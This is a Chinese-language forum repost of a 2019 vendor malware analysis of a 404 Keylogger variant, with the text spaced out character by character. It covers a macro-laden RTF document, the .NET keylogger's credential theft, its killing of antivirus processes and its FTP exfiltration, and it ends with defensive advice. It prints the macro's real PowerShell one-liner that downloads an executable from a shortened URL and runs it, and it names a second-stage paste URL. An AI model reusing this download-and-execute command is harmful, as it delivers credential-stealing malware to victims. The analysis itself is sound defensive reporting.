搜索

[27958] 2019-12-16_404Keylogger最新木马，盗取受害者浏览器网站帐号和密码

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-19
2019-12-16_404Keylogger最新木马，盗取受害者浏览器网站帐号和密码 4 0 4   K e y l o g g e r 最 新 木 马 ， 盗 取 受 害 者 浏 览 器 网 站 帐 号 和 密 码 O t s 安 全   2 0 1 9 - 1 2 - 1 6 近 日 深 信 服 安 全 团 队 捕 获 到 一 个 最 新 的 4 0 4   K e y l o g g e r 木 马 变 种 ， 通 过 O F F I C E 文 档 嵌 入 恶 意 宏 代 码 进 行 传 播 ， 盗 取 受 害 者 浏 览 器 的 网 站 帐 号 和 密 码 ， 深 信 服 安 全 团 队 对 此 样 本 进 行 了 详 细 分 析 ， 并 获 取 到 了 黑 客 F T P 服 务 器 的 帐 号 和 密 码 ， 请 大 家 提 高 安 全 意 识 ， 不 要 轻 易 打 开 未 知 的 邮 件 附 件 及 文 档 等 。 样 本 是 一 个 R T F 文 档 ， 里 面 嵌 套 了 O L E 对 象 ， 包 含 恶 意 宏 代 码 ， 如 下 所 示 ： 恶 意 宏 代 码 ， 会 启 动 P o w e r S h e l l 进 程 ， 从 远 程 服 务 器 上 下 载 恶 意 程 序 ， 然 后 执 行 ， 相 关 参 数 ， 如 下 ： p o w e r s h e l l   ( N E w - o b j E c t   s y s t e m . n e t . w E B c l I e n T ) . D o w n L o A d f I l E (   ” h t t p : / / b i t . l y / 2 P 7 E o T 7   ”   ,   ” $ E N v : t e M p 4 2 3 5 . e x e ”   )   ;   s t A R t ” $ E N v : t E M P 4 2 3 5 . e x e ” 分 析 下 载 的 恶 意 程 序 ， 使 用 N E T 语 言 进 行 开 发 ， 首 先 会 获 取 远 程 服 务 器 地 址 ： h x x p s : / / p a s t e . e e / r / R r k B F ， 如 下 所 示 ：
读 取 远 程 服 务 器 上 的 内 容 ， 如 下 所 示 ： 直 接 加 载 执 行 远 程 服 务 器 上 的 脚 本 ， 如 下 所 示 ：
解 密 去 混 淆 远 程 服 务 器 上 的 脚 本 之 后 ， 同 样 是 一 个 N E T 编 写 的 程 序 ， 如 下 所 示 ： 该 程 序 主 要 功 能 是 键 盘 记 录 ， 盗 取 受 害 者 浏 览 器 网 站 上 的 帐 号 和 密 码 ， 会 结 束 受 害 者 主 机 上 的 浏 览 器 相 关 进 程 ， 如 下 所 示 ：
对 抗 杀 软 ， 结 束 相 关 安 全 软 件 进 程 ， 相 关 的 安 全 软 件 进 程 有 一 百 多 个 ， 如 下 所 示 ： 将 记 录 的 浏 览 器 上 网 站 ， 以 及 相 关 的 帐 号 和 密 码 ， 然 后 发 送 到 黑 客 远 程 F T P d 服 务 器 ， 如 下 所 示 ：
该 恶 意 程 序 还 有 截 屏 等 操 作 ， 在 分 析 该 恶 意 程 序 的 时 候 发 现 了 黑 客 的 F T P 服 务 器 地 址 ， 以 及 帐 号 和 密 码 ， 登 录 进 去 ， 发 现 它 已 经 盗 取 了 部 分 受 害 者 的 主 机 信 息 ， 如 下 所 示 ： 病 毒 防 御 病 毒 防 御 1 、 及 时 给 电 脑 打 补 丁 ， 及 时 升 级 应 用 程 序 ， 修 复 漏 洞 。 2 、 不 要 点 击 来 源 不 明 的 邮 件 附 件 ， 不 从 不 明 网 站 下 载 软 件 。 最 后 ， 建 议 企 业 对 全 网 进 行 一 次 安 全 检 查 和 杀 毒 扫 描 ， 加 强 防 护 工 作 。 推 荐 使 用 深 信 服 安 全 感 知 + 防 火 墙 + E D R ， 对 内 网 进 行 感 知 、 查 杀 和 防 护 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理